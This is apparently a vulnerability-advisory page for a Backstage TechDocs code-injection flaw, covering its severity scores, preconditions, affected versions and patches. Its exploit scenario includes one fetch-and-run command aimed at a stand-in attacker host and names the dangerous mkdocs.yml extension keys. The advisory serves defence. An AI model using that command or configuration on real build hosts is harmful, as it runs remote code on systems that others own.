Skip to main content

Backstage TechDocs CVE-2026-106509

| EUVDEUVD-2026-94074 HIGH
Code Injection (CWE-94)
2026-10-06 security-advisories@github.com GHSA-8w7q-29mw-gf5c
8.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain write access to registered repo
  2. Delivery
    Commit malicious mkdocs.yml extension/theme keys
  3. Exploit
    TechDocs triggers local/container build
  4. Execution
    MkDocs instantiates attacker config
  5. Impact
    Arbitrary code execution on build host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two concrete preconditions must both hold: (1) TechDocs must be configured to build documentation locally or in a container (techdocs.generator.runIn set to 'local' or 'docker') - SaaS/external-build setups are not affected; and (2) the attacker must have write access to a repository registered in the Backstage catalog, so this is an authenticated/authorized-insider or compromised-contributor scenario, not anonymous remote. Exploitation is via attacker-controlled keys in mkdocs.yml (e.g. dangerous markdown_extensions such as subprocess:Popen / os:system, or a plantuml_markdown plantuml_cmd value, and theme/custom_dir options) that cause code execution during the MkDocs build. The vendor notes runIn: 'docker' provides container isolation but does NOT fully mitigate; the primary limiting factor is restricting repository write access to trusted users.

Impact

Signals are largely consistent and point to a serious but not urgent, access-gated issue. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, base 8.8) describes a low-privileged but authenticated actor achieving full confidentiality/integrity/availability impact via code execution (CWE-94). This is tempered by the real precondition: the attacker must already hold write access to a repository registered in the Backstage catalog, so PR:L is doing a lot of work here - it is not an anonymous internet-facing flaw. EPSS is low at 0.26% (16th percentile), and SSVC (Exploitation: none, Automatable: no, Technical Impact: partial) agrees this is neither actively exploited nor mass-automatable. There is no CISA KEV listing and no public exploit identified at time of analysis, so there is no 'EPSS-low-but-KEV' tension to flag. Net: a genuine RCE worth patching promptly for any org running TechDocs with local/container builds and a broad set of repo writers, but a prioritization tier below internet-facing unauthenticated RCEs - the trust boundary being crossed is 'repo writer' to 'documentation build host'.

Exploit ScenarioDerived

An employee or contractor with write access to a repository registered in the Backstage catalog adds malicious keys to that repo's mkdocs.yml (for example a subprocess:Popen or os:system markdown_extension, or a plantuml_markdown plantuml_cmd pointing at 'curl http://attacker/shell.sh | bash'). When TechDocs builds the docs locally or in its container, MkDocs instantiates the attacker-controlled configuration and runs the command on the build host. No public exploit is identified, but the GitHub-published fix fixtures effectively demonstrate the payload shapes.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Oct 09, 2026

Arbitrary code execution in Backstage TechDocs documentation builds allows an authenticated user with write access to a repository registered in the Backstage catalog to run commands on the build host by embedding malicious keys in the repository's mkdocs.yml. Both TechDocs build modes configured locally or in a container (techdocs.generator.runIn set to 'local' or 'docker') are vulnerable because the affected @backstage/plugin-techdocs-node package (prior to 1.14.6, and 1.15.0 through 1.15.3) failed to sanitize nested markdown_extensions and theme configuration values before invoking MkDocs. Exploitation is access-gated rather than anonymous: CVSS 3.1 scores this 8.8 with a PR:L vector, EPSS is low at 0.26% (16th percentile), CISA SSVC rates exploitation as none and automatable as no, and no public exploit code has been identified at time of analysis.

Earlier versions of this analysis (1)
v1 Oct 06, 2026 - 22:33 CVSS 7.7

Arbitrary code execution in Backstage TechDocs via the @backstage/plugin-techdocs-node package (prior to 1.14.6, and prior to 1.15.4 on the 1.15 line) lets a user who has write access to a repository registered in the Backstage catalog run attacker-controlled commands during documentation generation by embedding dangerous keys in mkdocs.yml, such as markdown_extensions entries like 'subprocess:Popen' or 'os:system', or a plantuml_cmd value in a PlantUML plugin block. The flaw is conditional rather than broadly reachable: it only triggers when TechDocs is configured to build docs locally or inside a container (the local/docker generator path), and the assessed vector (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) reflects that both the non-default build configuration and authenticated repository write access are required, bounding realistic abuse to trusted contributors or supply-chain compromise rather than anonymous remote attack. Vendor-released patches are available as @backstage/plugin-techdocs-node 1.14.6 and 1.15.4 (referenced Backstage releases v1.50.5 and v1.54.6), and no public exploit identified at time of analysis, though the public fix commits include test fixtures that illustrate the malicious configuration syntax.

RemediationAI

Vendor-released patch: upgrade @backstage/plugin-techdocs-node to 1.15.4 (or 1.14.6 on the 1.14.x line) per the GitHub Security Advisory GHSA-8w7q-29mw-gf5c, or move the Backstage core distribution to release v1.50.5 or v1.54.6, which incorporate the fixed plugin. The fix is delivered through commits 02cd7cdbb18b687446277b5602adaee7f1d53cbb and a900a9953c8f7ad3ba1906d1d257725a9996cc9d, which tighten MkDocs configuration sanitization to strip dangerous markdown_extensions entries, plantuml_cmd values, and theme/custom_dir options during the generate stage. If immediate upgrading is not possible, the vendor's documented workarounds are to set techdocs.generator.runIn: 'docker' instead of 'local' so the MkDocs build executes inside a container, accepting that this provides isolation but does NOT fully mitigate the risk, or failing that, strictly restrict write access to every repository registered in the Backstage catalog to trusted users only - the primary limiting control given the PR:L authentication requirement. Note that suppressing or disabling custom MkDocs theme and extension configuration for untrusted repositories reduces functionality for legitimate documentation authors and should be treated as a stopgap rather than a substitute for applying the patched versions.

Affected VersionsENISA

backstage < 1.50.5
backstage 1.51.0-next.0, < 1.54.6
plugin-techdocs-node < 1.14.6
plugin-techdocs-node 1.15.0, < 1.15.4

Affected Packages

npm @backstage/plugin-techdocs-node fix: 1.15.4
euvd backstage fix: 1.50.5
euvd backstage_1_51_0_next_0 fix: 1.54.6
euvd plugin_techdocs_node fix: 1.14.6, 1.15.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 4 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Backstage is an open framework for building developer portals, and TechDocs is its documentation subsystem that renders MkDocs-based sites. The vulnerable component, @backstage/plugin-techdocs-node, performs a sanitization pass over the repository-supplied mkdocs.yml before the Python MkDocs static-site generator builds the docs. Because MkDocs configuration can name Python callables (for example, 'subprocess:Popen' or 'os:system' inside markdown_extensions) and can supply shell strings through plugin options such as a plantuml_markdown 'plantuml_cmd' value, an insufficient sanitizer turns a YAML configuration file into an execution primitive - the CWE-94 (Improper Control of Generation of Code) class. The upstream fix (commits 02cd7cdbb18b687446277b5602adaee7f1d53cbb and a900a9953c8f7ad3ba1906d1d257725a9996cc9d) extended the sanitizer to cover additional nested configuration keys and theme options, with new test fixtures explicitly exercising dangerous extensions (subprocess:Popen, os:system), multi-key dangerous extension entries, hyphenated and non-hyphenated plantuml_cmd directives, and theme 'custom_dir' settings, while preserving benign extensions such as toc, admonition, and pymdownx.superfences. CPE entries identify the affected packages as cpe:2.3:a:linuxfoundation:backstage_plugin-techdocs-node (multiple unversioned entries) and several cpe:2.3:a:linuxfoundation:backstage entries including 1.51.0 and its next0 through next3 pre-release channels, tying the flaw to specific Backstage release trains rather than the framework as a whole.

Know when Backstage gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY HIGH
NVD 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Attacker needs write access to a registered repo (PR:L) and reaches the build over the network via catalog registration (AV:N); build-host code execution yields full C/I/A (H).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 7.7 HIGH

Primary rating from Vendor (github).

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
CVSS changed
Oct 09, 2026 - 17:37 NVD
7.7 (HIGH) 8.8 (HIGH)
Patch available
Oct 06, 2026 - 23:05 EUVD
CVE Published
Oct 06, 2026 - 22:17 cve.org
HIGH 7.7

DescriptionNVD

Backstage is an open framework for building developer portals. Prior to 1.14.6, the @backstage/plugin-techdocs-node package is affected by improper validation of mkdocs theme configuration in techdocs. When TechDocs is configured to build documentation locally or in a container, a user with write access to a registered repository can include configuration values in mkdocs.yml that cause arbitrary code execution during the documentation build process. This issue is fixed in versions 1.14.6 and 1.15.4.

Technical POC Analysis

No runnable PoC and no patch diff are present in the supplied evidence (advisory GHSA-8w7q-29mw-gf5c plus your summary).

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Backstage TechDocs, the documentation build service used by internal development teams, has a high-severity vulnerability that can allow an authorized repository contributor to compromise the documentation build environment. This creates a supply-chain risk because the affected build host may hold credentials and access used across engineering systems. Leadership should prioritize remediation because the flaw affects a trusted developer workflow and could be used by a malicious insider or compromised contributor, even though no public exploit identified at time of analysis.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 84% exploitable
Prevalence
Medium
Backstage is a popular CNCF developer-portal framework, common in enterprises but not universal
Threat Intel
1
1 sources
Data Quality
7 sources
Confidence: High
EUVD 🇯🇵JVN NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2023-35926 CRITICAL
9.9 Jun 22

Backstage is an open platform for building developer portals. Rated critical severity (CVSS 9.9), this vulnerability is

CVE-2026-106501 CRITICAL
9.6 Oct 06

Authenticated Backstage users can retrieve the internal execution data of other users' Scaffolder tasks - notably the Se

CVE-2026-88064 HIGH
8.8 Sep 16

Authenticated users who can register or modify a TechDocs documentation source can achieve code execution inside the Bac

CVE-2026-106558 HIGH
8.8 Oct 07

Authenticated remote code execution in the @backstage/plugin-techdocs-node package shipped with the Backstage developer

CVE-2026-25153 HIGH
8.8 Jan 30

Arbitrary Python code execution in Backstage's @backstage/plugin-techdocs-node (versions < 1.13.11 and = 1.14.0) lets a

CVE-2026-106500 HIGH
8.5 Oct 06

Improper task-state validation in the @backstage/plugin-scaffolder-backend plugin (Backstage versions prior to 3.3.1, 3.

CVE-2026-106486 HIGH
8.5 Oct 06

Path traversal in the Backstage Scaffolder Bitbucket pull-request publish actions allows an authenticated user who can e

CVE-2026-106505 HIGH
8.5 Oct 06

Arbitrary code execution on the TechDocs backend host is achievable through a sanitizer bypass in the @backstage/plugin-

CVE-2026-106459 HIGH
8.5 Oct 06

Improper input validation in the @backstage/plugin-scaffolder-backend-module-sentry scaffolder actions (Backstage 0.3.0

CVE-2021-43783 HIGH
8.5 Nov 29

@backstage/plugin-scaffolder-backend is the backend for the default Backstage software templates. Rated high severity (C

CVE-2026-106503 HIGH
8.1 Oct 06

Authenticated users of Backstage Scaffolder can bypass administrator-configured action restrictions in @backstage/plugin

CVE-2026-106488 HIGH
8.1 Oct 06

Improper authentication in the Backstage @backstage/plugin-auth-backend-module-oidc-provider package prior to 0.4.20 let

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy